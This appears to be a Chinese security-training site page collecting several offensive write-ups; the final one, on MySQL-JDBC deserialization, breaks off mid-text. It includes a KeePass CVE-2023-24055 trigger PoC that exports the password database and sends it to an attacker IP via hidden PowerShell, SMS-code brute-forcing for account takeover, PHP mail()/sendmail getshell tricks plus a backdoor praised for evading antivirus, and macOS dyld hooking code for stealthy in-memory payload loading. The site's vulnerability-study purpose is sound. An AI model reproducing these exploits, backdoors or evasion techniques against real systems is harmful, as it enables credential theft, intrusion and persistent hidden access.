蚁景网安 - 网络安全人才培养服务提供商

木鱼cms系统审计小结

KeePass敏感信息明文传输漏洞复现（CVE-2023-24055）

一、漏洞描述漏洞简述 KeePass 是一款免费的开源密码管理器，可帮助您以安全的方式管理您的密码。您可以将所有密码存储在一个数据库中，该数据库由一把万能钥匙锁定。因此，您只需记住一个主密钥即可解锁整个数据库。数据库文件使用目前已知的最佳和最安全的加密算法（AES-256、ChaCha20 和 Twofish）进行加密。对 KeePass 配置文件具有写入权限的攻击者可以修改它并注入恶意触发器，例如通过添加导出触发器来获取明文密码。漏洞影响范围供应商：KeePass 产品：KeePass Password Safe 2 确认受影响版本：KeePass 2.53版本修复版本：KeePass 2.53.1版本二、漏洞复现实战环境搭建 Step 1 KeePass 2.53 下载地址：https://keepass.info/ Step 2 KeePass翻译语言包下载地址：https://keepass.info/translations.html 将语言包文件复制至安装路径下“Languages”文件夹下在KeePass中进入语言设置，切换语言漏洞复现根据原理,在安装路径下的配置文件KeePass.config.xml，根据触发器功能的安全缺陷进行利用。创建一个触发器，在密码数据库存在交互时进行明文传输。触发器创建主要细分为两种方式：（1）POC写入配置文件将编写好的POC代码写入KeePass.config.xml，须符合触发器XML格式。其中<Parameter>c:\Users\???\AppData\Local\Temp\exploit.xml</Parameter>字段为明文传输路径。利用powershell以GET方式传输数据库中密码文件。 POC： <TriggerSystem> <Triggers> <Trigger> <Guid>lztpSRd56EuYtwwqntH7TQ==</Guid> <Name>exploit</Name> <Events> <Event> <TypeGuid>s6j9/ngTSmqcXdW6hDqbjg==</TypeGuid> <Parameters> <Parameter>0</Parameter> <Parameter /> </Parameters> </Event> </Events> <Conditions /> <Actions> <Action> <TypeGuid>D5prW87VRr65NO2xP5RIIg==</TypeGuid> <Parameters> <Parameter>c:\Users\???\AppData\Local\Temp\exploit.xml</Parameter> <Parameter>KeePass XML (2.x)</Parameter> <Parameter /> <Parameter /> </Parameters> </Action> <Action> <TypeGuid>2uX4OwcwTBOe7y66y27kxw==</TypeGuid> <Parameters> <Parameter>PowerShell.exe</Parameter> <Parameter>-ex bypass -noprofile -c $var=([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\???\AppData\Local\Temp\exploit.xml')));Invoke-WebRequest -uri http://192.168.XXX.XXX:8888/$var -Method GET </Parameter> <Parameter>False</Parameter> <Parameter>1</Parameter> <Parameter /> </Parameters> </Action> </Actions> </Trigger> </Triggers> </TriggerSystem> 保存KeePass.config.xml文件，触发器功能查看exploit触发器（2）通过触发器功能手工创建触发器以官方触发器构成为参考 https://keepass.info/help/kb/trigger_examples.htmlexploit触发器配置如下：属性项：命名为exploit，其余默认配置事件项：选择Saved database file（已保存数据库文件），判断条件选Equals（相等）条件项：为空操作项：导出当前数据库文件路径为上述文件传输路径文件格式选择 KeePass XML (2.x) 执行命令行/URL 文件路径为PowerShell.exe ，使触发器执行PowerShell 参数选择攻击接收的路径窗口方式选择Hidden 完成创建，可以看到exploit触发器在攻击机创建web服务，后续接收传输后的密码明文；在KeePass中新建一条密码记录并保存，可以看到攻击机终端已接收到明文信息进行base64解码，可以看到内容为密码记录内容，包含账号与密码等敏感信息。漏洞修复建议更新至KeePass 2.53.1 版本结束语本文主要介绍了CVE-2023-24055 KeePass敏感信息明文传输漏洞的复现过程，漏洞主要利用对 KeePass 配置文件在写入权限下可以修改它并注入恶意触发器，例如通过添加导出触发器来获取明文密码。

一次漏洞挖掘的简单组合拳

前言：在最近的wxb举行hw中，同事让我帮他看看一些后台登录站点。尝试了未授权，弱口令皆无果，要么不存在弱口令，要么有验证码，没办法绕过。本文章仅提供一个思路，在hw中更多时候并不推荐尝试这种思路，只能作为一种解，因为花费的时间较长，前后大概花费了一个小时才拿下一个后台账号。过程及思路：在外围打点的过程中发现了一个站点，存在用户名枚举：然后看到下面的验证码，估计很多都会放弃了吧！短信验证码+密码才能登录，爆破难度太大了。我一开始也是这么想的，后面尝试了下面的找回密码，看看是否能任意修改他人的账号密码。后续先用自己不常用的手机号获取下验证码（这一步其实在hw中是很危险的，很容易被溯源）。发现短信验证码为四位数，而且失效时间大约在3分钟左右。查看这边重置密码的条件也就是短信验证码。这时候还记得我们前面发现的用户名枚举吗？我的思路是结合这两个漏洞，实现重置他人密码。那么问题来了，我怎么知道用户的手机号码呢？或者说，手机号码那么多我要怎么找呢？这个是一个地级市的服务平台，那么他的用户理论上会存在大部分的该地级市的手机号码。每个地区的号码都是由前七位控制的，那么就可以查询一个地区的所有前七位号码，在加上遍历后面4位号码即可获得一个地区的手机号字典。这边给大家推荐一个工具，可以用来爬取一个地级市所有的手机号码。使用后会在本地生成字典号码。然后把这些号码用burp去爆破，就可以获取到数据库里面存在的账号了。通过爆破，我们获取到了后台账号，再结合前面的4位数验证码，去尝试爆破。抓取重置密码的请求包，密码我们提前写好了：再用intruder去爆破短信验证码：皇天不负有心人，尝试了几次，终于成功了。当我高高兴兴拿着密码去登录时，发现还要验证码，这时候再重复一下前面的操作就行了。然后就是把整个响应包的内容复制下来，再去点击下登录，然后替换掉登录报错的信息即可成功进入后台。里面富含大量敏感信息，虽然没啥用。然后在功能列表里面找到一个上传图片的地方，并未做过滤，成功上传木马：但是没啥用，解析不了QAQ。本次只是给大家介绍一下思路，方法是可行的。其实我也不想用这种方法，但是更多的是想验证自己的猜想，才最终去实践证明。

CC1打不通时的另外一条链CC3

从一次有趣的漏洞分析到一个有趣的PHP后门

起因事情的起因很有趣，前几天我正对着电脑发呆的时候，突然有个安全交流群的群友来找我交流一个问题大概的意思就是，他在挖SRC的时候，发现一处资产存在目录遍历漏洞，它通过这个漏洞，找到目标资产使用了一个名为phpmailer的中间件（应该类似于中间件吧），问我有没有办法利用，我查了一下这个组件的漏洞信息。最新的洞似乎截止到6.5.0版本以前很不幸，群友这个版本是6.5.1，刚好就不能利用了找不到符合版本的洞没关系，抱着学习的心态，我还是看了一下它的历史漏洞成因，不看不知道，看了之后就学到一些好玩的新知识了，这也就是为什么会有这篇文章的原因。 CVE-2016-10033的简单分析 CVE-2016-10033是Phpmailer出现过的最经典的的漏洞，在本文正式开始之前，我们先来简单分析一下这个漏洞。读者可以到： https://github.com/opsxcq/exploit-CVE-2016-10033/blob/master/src/class.phpmailer.php看到phpmailer的代码。这里先开门见山地说，漏洞的成因其实就在mail()函数的第五个参数，只要控制了第五个参数，我们就能进行RCE、文件读取等操作。因此我们先追溯mail()函数：因此我们可以先定位到mailPassthru()这一方法，可以看到，这个方法内部就使用了mail()，maill的第五个参数也就是mailPassthru()的第五个参数。因此，我们再查看有没有别的地方使用了mailPassthru()，可以找到这个maillSend()方法中使用了mailPassthru()方法，并且第五个参数$params是来自于当前类中的Sender属性那我们回溯Sender属性，看看有什么地方可以控制Sender属性。这里可以看到，setFrom方法当中，就可以对Sender属性进行赋值当然，这个漏洞还有一个重点就是对validateAddress()这一方法的绕过，这也是CVE-2016-10033的精彩部分。但是它和本文的重点不符，所以我们就不深入分析这块。既然知道了Sender这个关键属性是怎么赋值的，接下来我们继续分析mailSend()方法的调用链，可以找到postSend()方法继续看postSend()，最终可以找到send()方法自此，整个漏洞的传参流程我们就已经分析完了。大体上来说，只要我们用setFrom()方法对Sender属性赋值，再调用send()方法。那么Sender属性的值就会进入到mail()函数的第五个参数中，从而实现RCE。看到这想必很多读者已经对开篇提到的这个mail()函数的第五个参数提起兴趣了，为什么控制了它就能实现RCE呢？这就要提到php中 mail()函数的实现原理了。有趣的mail() mail()函数是php定义的用来发送邮件的函数，其支持的参数如下：为什么一个发送邮件的函数能造成RCE？前人的安研经验已经告诉了我们答案。Php的mail()函数，其底层其实是调用了linux下的sendmail命令。由于sendmail支持一些有趣的参数，这就会造成更大的危害。 ①日志写入导致的RCE 接着上面提到的内容来说，我们首先要介绍的是sendmaill的X和O参数，其效果分别为： -X logfile ：指定一个文件来记录邮件发送的详细日志。 -O option=value ：临时设置一个邮件储存的临时位置。看到这大部分读者应该马上能反应过来，我们能指定文件来储存邮件发送的日志，那不就可以写日志getshell了吗？事实也的确如此。了解这个信息之后，我们再回过头看mail()函数支持的第五个参数：没错，我们可以用这个第五个参数来控制sendmail的额外参数，那我们控制X的参数值不就拿下了？我们可以使用如下demo进行测试： <?php $to = 'La2uR1te@b.c'; $subject = '<?php system("whoami"); ?>'; //你想执行的任意php代码 $message = '<?php system("ls ./"); ?>';//同上 $headers = ''; $addtionparam = '-f La2uR1te@1 -OQueueDirectory=/tmp/ -X/var/www/html/1.php'; //假设我们已知目标站点绝对路径 mail($to, $subject, $message, $headers, $param); ?> 比如我在自己的服务器上运行如下代码，我们假设网站根目录是/root/，我们运行一下上述代码看看会发生什么。（在复现的时候确保你已经安装过sendmail，不然没用）。运行完之后，我们在root目录下确实发现了一个名为testmail.php的文件。我们看看它的内容是什么：其实他的内容很多，就是日志文件。但是看箭头指的地方，毫无疑问，我们的代码已经被成功写入了。这时候如果我们再用php来执行这个testmail.php，注意看前后的区别当前用户就是root，当前目录下只有testmail.php和test.php，毫无疑问，我们的恶意代码已经被成功执行了。综上，如果我们知道目标网站的绝对路径、目标网站是linux环境并且php底层使用sendmail进行发送邮件（默认），那么就可以使用mail()函数来执行写入日志文件的GETSHELL。 ②读取配置文件导致的任意文件读取这个函数好玩的地方不止于此，它还可以用于任意文件读取。我们修改一下上面的demo 注意看这里，我们使用了-C参数，后面跟着我们想读取的文件。这样就能直接实现任意文件读取了！如下图，直接读文件一把梭 ③进阶技巧之利用配置文件执行代码设想这么一个变态的情况，整个网站，假设我们只有一个可供文件写入的点，并且还有很严格的过滤。这个时候有没有能够用mail()来操作的可能呢？再说回sendmail命令的特性，默认会使用sendmail-mta来解析待发送的邮件内容，我们其实有办法覆盖sendmail的解析配置，让它用php来解析我们要发送的邮件内容，从而直接完成命令执行。我们首先到/etc/mail/sendmail.cg，复制其内容。然后在其内容结尾加上如下配置： Mlocal, P=/usr/bin/php, F=lsDFMAw5:/|@qPn9S, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL, T=DNS/RFC822/X-Unix, A=php -- $u $h ${client_addr} 把这个新文件命名为sendmail_cf 接着我们执行如下命令，因为这玩意不能回显，所以我们还是让它新创建几个文件：执行上面的代码之后。可以看到tmp目录下多出一个xnklgxfc（提前祝师傅们新年快乐恭喜发财哈） ④进阶技巧之Exim4情况下mail()函数操作这里因为环境没配置好，所以没有演示成功，我就借助别的师傅的结果了 mail()函数的底层虽然是sendmail命令，但有时它也有可能是exim4命令。比方说在ubuntu/debain中，sendmail实际上软连接到了exim4。也就是说，我们有新姿势了（exim4的各种参数和能打出的操作都是不同的）这里我们介绍一个，-be参数，这个参数事exim4中的运行扩展模式参数，这个参数支持我们打出大量操作，例如： -be ${run{<command> <args>}{<string1>}{<string2>}} //执行命令<command> <args>，成功返回string1，失败返回string2 -be ${substr{<string1>}{<string2>}{<string3>}} //字符串的截取，在string3中从string1开始截取string2个字符 -be ${readfile{<file name>}{<eol string>}} //读文件file name，以eol string分割 -be ${readsocket{<name>}{<request>}{<timeout>}{<eolstring>}{ <fail string>}} //发送socket消息，消息内容为request 没错，你可以发现，这玩意除了可以进行直接的命令执行（不需要写日志文件getshell了），虽然不能回显，但是弹个shell就是简简单单。并且还是可以任意文件读取。并且最骚的是可以用substr来进行字符串截取，这样的话就支持我们进行很多绕过WAF的操作。利用mail()来造一个简单的后门上文提到了各种mail()的骚操作，我在学习复现的过程中除了感到NB无话可说。它的种种特性不禁让我思考，它是否有成为后门的潜质，它在正常的linux环境就可以实现日志getshell以及任意文件读取。在其它特定情况下它也可以无回显进行命令执行。并且它是一个再正常不过的函数，一般的开发和安全人员可能都不会觉得这样一个人畜无害的邮件发送函数能造成什么危害。抱着这样的心态，我先简单的实现了这么一个功能：其中$e的明文内容为：-f La2uR1te@1 -OQueueDirectory=/tmp/-X/root/mailshell.php 而$a/$b/$c/$d的内容均为phpshell。我们拿它到实际环境去试试看能不能成功实现我们刚刚演示的效果。如果运行成功，那么应该会在root目录下生成mailshell.php 如图，mailshell.php成功生成其内容即为php一句话所以我们继续改造一下这个后门，让其变得更加可控。根据上面的总结我们可以知道只要控制第五个参数就行，所以我们的改造也十分简单：这个后门最后能实现的效果包括但不限于：①linux环境下的任意文件写入（可getshell）②linux环境下的任意文件读取③特定环境（比如mail()底层使用exim4或软连接到exim4）下的无回显命令执行、代码执行截至本文发表，这个结构极其简单的后门依然具有不错的免杀能力：后记之所以说本文是炒冷饭，是因为安全圈至少在2016年之前就已经知道mail()函数造成的危害。而更多深入利用姿势在17年和18年都有师傅总结。对于我这个萌新来说，确实是大开眼界叹为观止，果然漏洞的复现一定要及时搞，不然容易错过很多有趣的知识。

Nodejs原型链污染

区块链安全前传之从Web3.0到创造自己的数字货币

[西湖论剑2022]Misc-机你太美

解题过程：修改文件后缀后，7z解压后，夜神模拟器导入vmdk 删除pin值参考文章：https://www.cnblogs.com/Zev_Fung/p/14192545.html 删除/data/system/locksettings.db即可 rm /data/system/locksettings.db 重启进入，发现安装有QQ和Skred 打开Skred发现聊天记录发现聊天记录传输了⽂件，根据skred的存储文件的位置，可以直接定位 /data/data/mobi.skred.app/files/conversations 使⽤adb pull来提取⽂件 adb pull /data/data/mobi.skred.app/files/conversations/9f817126-eabd-4c5c-9b47-bebe04545ba0/50.zip D:\桌面\CTF\西湖论剑2023\jntm-update\dasctf 其他文件类似操作提取即可解压压缩包发现存在解压密码，可能存在两张图片里，图片可能采取了隐写之类的隐藏信息的方式使用stegslove打开45.png，在Alpha plane处发现信息，写脚本提取其二进制信息 from PIL import Image img = Image.open("45.png") for i in range(img.width): for j in range(img.height): pixl = img.getpixel((m,n)) if(pixl[3] == 255): print(1,end='') else: print(0,end='') print("_______________") #0110010100110000001100010011010100110100001101000110000100111001001100110011001100110011011001010110011000110110001100100110000100110011011000010110000100110010001101110011001100110101001101110110010101100010001101010011001001100101011000010011100001100001 进行编码转换一下 e01544a9333ef62a3aa27357eb52ea8a 得到解压密码，解压50.zip，获得一个flag文件，记事本打开为一串乱码，猜测可能是啥加密，信息应该在75.jpg上面根据赛方放出的hint3：在线exif 试着查看一下75.jpg的exif信息，这里我使用的是https://exif.tuchong.com/ EXIF信息摘要模式曝光模式:Aperture-priority AE, 测光模式:Multi-segment, 曝光补偿:0 曝光光圈:4.0, 快门:1/250秒, ISO200 焦距 50.0 mm (35 mm equivalent: 80.9 mm), 视角:25.1 deg 色彩白平衡:Auto, 色彩空间:sRGB File FileType JPEG FileTypeExtension jpg MIMEType image/jpeg ExifByteOrder Little-endian (Intel, II) ImageWidth 3888 ImageHeight 2592 EncodingProcess Baseline DCT, Huffman coding BitsPerSample 8 ColorComponents 3 YCbCrSubSampling YCbCr4:2:2 (2 1) IFD0 方向 Horizontal (normal) X分辨率 72 Y分辨率 72 分辨率单位 inches YCbCr定位 Co-sited ExifIFD 曝光时间 1/250 光圈值 4.0 曝光程序 Aperture-priority AE ISO 200 Exif版本 0221 ComponentsConfiguration Y, Cb, Cr, - 快门速度值 1/250 光圈值 4.0 曝光补偿 0 测光模式 Multi-segment 闪光灯 Off, Did not fire 焦距 50.0 mm 用户注释 XOR DASCTF2022 SubSecTime 39 SubSecTime原始 39 SubSecTime数码化 39 Flashpix版本 0100 色彩空间 sRGB Exif图像宽度 3888 Exif图像高度 2592 焦平面X轴分辨率 4438.356164 焦平面Y轴分辨率 4445.969125 焦平面分辨率单位 inches CustomRendered Normal 曝光模式 Auto 白平衡 Auto 场景Capture类型 Standard InteropIFD Interop索引 R98 - DCF basic file (sRGB) Interop版本 0100 IFD1 压缩 JPEG (old-style) X分辨率 72 Y分辨率 72 分辨率单位 inches 缩略图偏移 8412 缩略图长度 19629 ThumbnailImage (Binary data 19629 bytes, use -b option to extract) Composite 光圈 4.0 图像尺寸 3888x2592 Megapixels 10.1 35mm等效因子 1.6 快门速度 1/250 (最小)模糊圈 0.019 mm 视角 25.1 deg 35mm等效焦距 50.0 mm (35 mm equivalent: 80.9 mm) 超焦距 33.67 m 亮度值 11.0 可以看到用户注释为XOR DASCTF2022 对flag文件进行XOR 获得flag：DASCTF{fe089fecf73daa9dcba9bc385df54605}

IOS逆向--恢复Dyld的内存加载方式

之前我们一直在使用由dyld及其NS Create Object File Image From Memory / NS Link Module API方法所提供的Mach-O捆绑包的内存加载方式。虽然这些方法我们今天仍然还在使用，但是这个工具较以往有一个很大的区别......现在很多模块都被持久化到了硬盘上。 @roguesys 在 2022 年 2 月发布公告称，dyld 的代码已经被更新，传递给 NSLinkModule 的任何模块都将会被写入到一个临时的位置中。作为一个红队队员，这对于我们的渗透工作并没有好处。毕竟，NSLinkModule一个非常有用的api函数，这个函数可以使得我们的有效载荷不被蓝队轻易的发现。因此，在这篇文章中，我们来仔细看看dyld的变化，并看看我们能做些什么来恢复这一功能，让我们的工具在内存中多保存一段时间，防止被蓝队过早的发现。 NS Link Module有何与众不同由于dyld是开源的，我们可以深入研究一下经常使用的NSLinkModule方法的工作原理。该函数的签名为： NSModule APIs::NSLinkModule(NSObjectFileImage ofi, const char* moduleName, uint32_t options) { ... } 该函数的第一个参数是ofi，它是用NS Create Object File Image From Memory创建的，它指向了存放Mach-O包的内存。然后我们还有moduleName参数和options参数，前者只是用于记录语句，后者一般是被忽略不用的。通过查看代码发现，最新版本的NS Link Module，会将osi所指向的内存写入磁盘。 if ( ofi->memSource != nullptr ) { ... char tempFileName[PATH_MAX]; const char* tmpDir = this->libSystemHelpers->getenv("TMPDIR"); if ( (tmpDir != nullptr) && (strlen(tmpDir) > 2) ) { strlcpy(tempFileName, tmpDir, PATH_MAX); if ( tmpDir[strlen(tmpDir) - 1] != '/' ) strlcat(tempFileName, "/", PATH_MAX); } else strlcpy(tempFileName, "/tmp/", PATH_MAX); strlcat(tempFileName, "NSCreateObjectFileImageFromMemory-XXXXXXXX", PATH_MAX); int fd = this->libSystemHelpers->mkstemp(tempFileName); if ( fd != -1 ) { ssize_t writtenSize = ::pwrite(fd, ofi->memSource, ofi->memLength, 0); } ... } 通过分析可以发现，代码并不是真正的发生了 "新 "的变化。这段代码一直存在于dyld3中，只不过是现在macOS也决定使用这段代码路径。所以我们知道内存会被写入磁盘，并且路径会被传递给dlopen_from。 ... ofi->handle = dlopen_from(ofi->path, openMode, callerAddress); ... 因此，从本质上讲，这也就使得NS Link Module成为了dlopen的一个封装器。那我们能否恢复dyld之前的内存加载特性呢？我们知道磁盘 I/O 是被用来持久化和读取我们的代码的......那么，如果我们在调用之前拦截它们，会发生什么呢？使用dyld进行hook 为了拦截 I/O 调用，我们首先需要了解如何对dyld进行hook。我们研究看看dyld是如何处理mmap调用的。启动 Hopper 并加载 /usr/lib/dyld，显示mmap 是由 dyld 使用 svc 调用的。知道了这一点，如果我们找到内存中存放这段代码的位置，我们就应该能够覆盖服务调用并将其重定向到我们控制的地方。但我们该用什么来覆盖它呢？用下面的这段代码就可以。 ldr x8, _value br x8 _value: .ascii "\x41\x42\x43\x44\x45\x46\x47\x48" ; Update to our br location 在我们进行操作之前，首先我们找到进程地址空间中dyld的基址。这是通过调用task_info完成的，我们可以传入TASK_DYLD_INFO来检索dyld的基址信息。 void *getDyldBase(void) { struct task_dyld_info dyld_info; mach_vm_address_t image_infos; struct dyld_all_image_infos *infos; mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT; kern_return_t ret; ret = task_info(mach_task_self_, TASK_DYLD_INFO, (task_info_t)&dyld_info, &count); if (ret != KERN_SUCCESS) { return NULL; } image_infos = dyld_info.all_image_info_addr; infos = (struct dyld_all_image_infos *)image_infos; return infos->dyldImageLoadAddress; } 只要我们有了dyld的基址，我们就可以为mmap服务的调用查找签名。 bool searchAndPatch(char *base, char *signature, int length, void *target) { char *patchAddr = NULL; kern_return_t kret; for(int i=0; i < 0x100000; i++) { if (base[i] == signature[0] && memcmp(base+i, signature, length) == 0) { patchAddr = base + i; break; } } ... 当我们找到一个匹配的签名时，我们可以在我们的ARM64的Stub中打补丁。由于我们要处理的是内存的 "Read-Exec"页，我们需要用以下方法来更新内存保护。 kret = vm_protect(mach_task_self(), (vm_address_t)patchAddr, sizeof(patch), false, PROT_READ | PROT_WRITE | VM_PROT_COPY); if (kret != KERN_SUCCESS) { return FALSE; } 注意这里的VM_PROT, 这个是必须要设定的，因为该内存页在其最大内存保护中没有设置写权限。设置了写权限后，我们可以用我们的补丁覆盖内存，然后将保护重新设定为Read-Exec。 // Copy our path memcpy(patchAddr, patch, sizeof(patch)); // Set the br address for our hook call *(void **)((char*)patchAddr + 16) = target; // Return exec permission kret = vm_protect(mach_task_self(), (vm_address_t)patchAddr, sizeof(patch), false, PROT_READ | PROT_EXEC); if (kret != KERN_SUCCESS) { return FALSE; } 现在我们需要思考一下，当我们在试图修改可执行的内存页时，在M1 macs上会发生什么。由于macOS要确保每一页可执行内存都有签名，这也就意味着我们需要一个com.apple.security.cs.allow-unsigned-executable-memory的权限（com.apple.security.cs.disable-executable-page-protection也适用）来运行我们的代码。那么，既然如此，我们该如何处理我们的hook程序呢？ API模拟调用有了所有组件的映射，我们现在就可以开始模拟API的调用。根据dyld的代码，我们需要对mmap、pread、fcntl的内容进行处理。如果我们这样做是正确的，我们可以在内存指向空白Mach-O文件的情况下对NSLinkModule进行调用，而该文件又将会被写入磁盘。然后当dyld正在从磁盘上读入文件时，我们就可以用内存中的副本动态地交换内容。首先研究mmap。我们首先检查fd是否指向一个包含NSCreateObjectFileImageFromMemory的文件名，这是dyld写入磁盘的临时文件。如果是这样的话，我们就不需要从磁盘上映射内存了，只要简单地分配一个新的内存区域，然后复制到我们构造的Mach-O包上。 #define FILENAME_SEARCH "NSCreateObjectFileImageFromMemory-" const void* hookedMmap(void *addr, size_t len, int prot, int flags, int fd, off_t offset) { char *alloc; char filePath[PATH_MAX]; int newFlags; memset(filePath, 0, sizeof(filePath)); // Check if the file is our "in-memory" file if (fcntl(fd, F_GETPATH, filePath) != -1) { if (strstr(filePath, FILENAME_SEARCH) > 0) { newFlags = MAP_PRIVATE | MAP_ANONYMOUS; if (addr != 0) { newFlags |= MAP_FIXED; } alloc = mmap(addr, len, PROT_READ | PROT_WRITE, newFlags, 0, 0); memcpy(alloc, memoryLoadedFile+offset, len); vm_protect(mach_task_self(), (vm_address_t)alloc, len, false, prot); return alloc; } } // If for another file, we pass through return mmap(addr, len, prot, flags, fd, offset); } 接下来是pread参数，它会被dyld在加载时用来多次验证Mach-O的UUID。 ssize_t hookedPread(int fd, void *buf, size_t nbyte, int offset) { char filePath[PATH_MAX]; memset(filePath, 0, sizeof(filePath)); // Check if the file is our "in-memory" file if (fcntl(fd, F_GETPATH, filePath) != -1) { if (strstr(filePath, FILENAME_SEARCH) > 0) { memcpy(buf, memoryLoadedFile+offset 最后我们处理fcntl。它会在很多地方被调用，可以在任何可能会失败的mmap调用之前验证编码的要求。由于我们已经完成了hook，我们可以使dyld正常运行来绕过这些检查。 int hookedFcntl(int fildes, int cmd, void* param) { char filePath[PATH_MAX]; memset(filePath, 0, sizeof(filePath)); // Check if the file is our "in-memory" file if (fcntl(fildes, F_GETPATH, filePath) != -1) { if (strstr(filePath, FILENAME_SEARCH) > 0) { if (cmd == F_ADDFILESIGS_RETURN) { fsignatures 有了以上这些，然后我们可以把这一切组合起来。 int main(int argc, const char * argv[], const char * argv2[], const char * argv3[]) { @autoreleasepool { char *dyldBase; int fd; int size; void (*function)(void); NSObjectFileImage fileImage; // Read in our dyld we want to memory load... obviously swap this in prod with memory, otherwise we've just recreated dlopen :/ size = readFile("/tmp/loadme", &memoryLoadedFile); dyldBase = getDyldBase(); searchAndPatch(dyldBase, mmapSig, sizeof(mmapSig), hookedMmap); searchAndPatch(dyldBase, preadSig, sizeof(preadSig), hookedPread); searchAndPatch(dyldBase, fcntlSig, sizeof(fcntlSig), hookedFcntl); // Set up blank content, same size as our Mach-O char *fakeImage = (char *)malloc(size); memset(fakeImage, 0x41, size); // Small hack to get around NSCreateObjectFileImageFromMemory validating our fake image fileImage = (NSObjectFileImage)malloc(1024); *(void **)(((char*)fileImage+0x8)) = fakeImage; *(void **)(((char*)fileImage+0x10)) = size; void *module = NSLinkModule(fileImage, "test", NSLINKMODULE_OPTION_PRIVATE); void *symbol = NSLookupSymbolInModule(module, "runme"); function = NSAddressOfSymbol(symbol); function(); } } 当我们执行时，可以看到在硬盘上就会创建我们的虚假文件。但通过在运行时的交换内容来看，我们发现我们的内存模块加载完全正常。其他所以，最后一个阶段让我感到很困惑......我们使用了NSLinkModule，它生成了一个临时文件，并且用垃圾字符对它进行了填充。如果我们忽略这一点，而只是使用操作系统中的任意一个库来调用dlopen呢？这样应该就可以避免我们向磁盘中写入任何文件。事实证明，这个想法是正确的。比如： void *a = dlopen("/usr/lib/libffi-trampolines.dylib", RTLD_NOW); function = dlsym(a, "runme"); function(); 而不是只是搜索NSCreateObjectFileImageFromMemory，我们只是在搜索任何加载libffi-trampolines.dylib的引用，并通过我们的代码进行了替换，我们得到了同样的结果。这里有一些注意事项。首先，我们需要确保库比我们自己要加载的模块大，否则当涉及到pread和mmap时，系统最终会截断我们的Mach-O。

MySQL-JDBC反序列化分析

0x01 前言听师傅们说这条链子用的比较广泛，所以最近学一学，本来是想配合着 tabby 或是 codeql 一起看的，但是 tabby 的环境搭建一直有问题，耽误了很久时间，所以就直接看了。 0x02 JDBC 的基础本来不太想写这点基础的，但想了想觉得还是要补一点。 JDBC 对数据库的操作一般有以下步骤： 1、导入包：要求您包含包含数据库编程所需的 JDBC 类的软件包。通常，使用 import java.sql.* 就足够了。 2、注册 JDBC 驱动程序：要求您初始化驱动程序，以便您可以打开与数据库的通信通道。 3、建立连接：需要使用 * DriverManager.getConnection ()* 方法来创建一个 Connection 对象，该对象表示与数据库服务器的物理连接。要创建新的数据库，在准备数据库 URL 时，无需提供任何数据库名称，如下面的示例所述。 4、执行查询：需要使用 Statement 类型的对象来构建 SQL 语句并将其提交到数据库。 5、清理：需要显式关闭所有数据库资源，而不是依赖 JVM 的垃圾回收。例如创建一个数据库 // 步骤 1. 导入所需的软件包 import java.sql.*; public class JDBCExample { // JDBC 驱动程序名称和数据库 URL static final String JDBC_DRIVER = "com.mysql.jdbc.Driver"; static final String DB_URL = "jdbc:mysql://localhost/"; // 数据库凭证 static final String USER = "username"; static final String PASS = "password"; public static void main(String[] args) { Connection conn = null; Statement stmt = null; try{ // 步骤 2：注册 JDBC 驱动程序 Class.forName("com.mysql.jdbc.Driver"); // 步骤 3：建立连接 System.out.println("Connecting to database..."); conn = DriverManager.getConnection(DB_URL, USER, PASS); // 步骤 4：执行查询 System.out.println("Creating database..."); stmt = conn.createStatement(); String sql = "CREATE DATABASE STUDENTS"; stmt.executeUpdate(sql); System.out.println("Database created successfully..."); }catch(SQLException se){ // 处理 JDBC 错误 se.printStackTrace(); }catch(Exception e){ // 处理 Class.forName 的错误 e.printStackTrace(); }finally{ // 用于关闭资源 try{ if(stmt!=null) stmt.close(); }catch(SQLException se2){ } try{ if(conn!=null) conn.close(); }catch(SQLException se){ se.printStackTrace(); } }// 结束 try System.out.println("Goodbye!"); }// 结束 main }// 结束 JDBCExample 这一个 MySQL-JDBC 的漏洞简单来说就是 MySQL 对服务器的请求过程利用正常的命令执行得到结果后就结束了，但是如果响应的结果是一个恶意的 poc 并且在后续过程中进行了反序列化，那么就可以用来执行任意命令了 0x03 漏洞分析漏洞原理如果攻击者能够控制 JDBC 连接设置项，那么就可以通过设置其指向恶意 MySQL 服务器进行 ObjectInputStream.readObject() 的反序列化攻击从而 RCE。具体点说，就是通过 JDBC 连接 MySQL 服务端时，会有几个内置的 SQL 查询语句要执行，其中两个查询的结果集在 MySQL 客户端被处理时会调用 ObjectInputStream.readObject() 进行反序列化操作。如果攻击者搭建恶意 MySQL 服务器来控制这两个查询的结果集，并且攻击者可以控制 JDBC 连接设置项，那么就能触发 MySQL JDBC 客户端反序列化漏洞。可被利用的两条查询语句： SHOW SESSION STATUS SHOW COLLATION 链子 pom.xml <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>8.0.13</version> </dependency> CC 链作为命令执行的部分，也就是说需要我们找一个 JDBC 合理的入口类，并且这个入口类需要在 JDBC 连接过程中被自动执行，最终是找到了这样一个类 com.mysql.cj.jdbc.result.ResultSetImpl，它的 getObject() 方法调用了 readObject() 方法 JDBC 通过 MySQL 数据库查询数据会返回一个结果集，将查询到的结果返回给程序，并将结果封装在 ResultSetImpl 这个类中。所以这个类不满足用户可控输入这一点，所以我们应该要去找谁调用了 ResultSetImpl#getObject() 根据网上的链子是 ResultSetUtil 类调用了 ResultSetImpl#getObject()，并且能够继续向上调用（如果 tabby 或者其他工具搞好了应该会用那些工具分析） ResultSetUtil 这个类是用来处理一些测试实例的结果，或者是 profiler 的结果。简而言之还是用来做数据处理的类，继续往上看谁调用了它。最终是 com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues 方法调用了 ResultSetUtil#resultSetToMap 44ServerStatusDiffInterceptor 是一个拦截器，在 JDBC URL 中设定属性 queryInterceptors 为 ServerStatusDiffInterceptor 时，执行查询语句会调用拦截器的 preProcess 和 postProcess 方法，这是一个自动执行的过程，我们可以把它作为利用链头。看一下 populateMapWithSessionStatusValues 方法的代码先建立了 JDBC 的连接，并创建查询，查询语句是 SHOW SESSION STATUS，接着调用 ResultSetUtil.resultSetToMap，完成查询并封装查询结果。漏洞复现之前看 Y4tacker 师傅的文章时，发现有提到是直接用 python 脚本打，里面有很多数据，但是这个 ”打“ 肯定不是空穴来风的，所以需要再明确一下攻击思路。环境搭建可能会踩坑，若有师傅踩坑了可以滴我一下我们需要先伪造数据包，并用 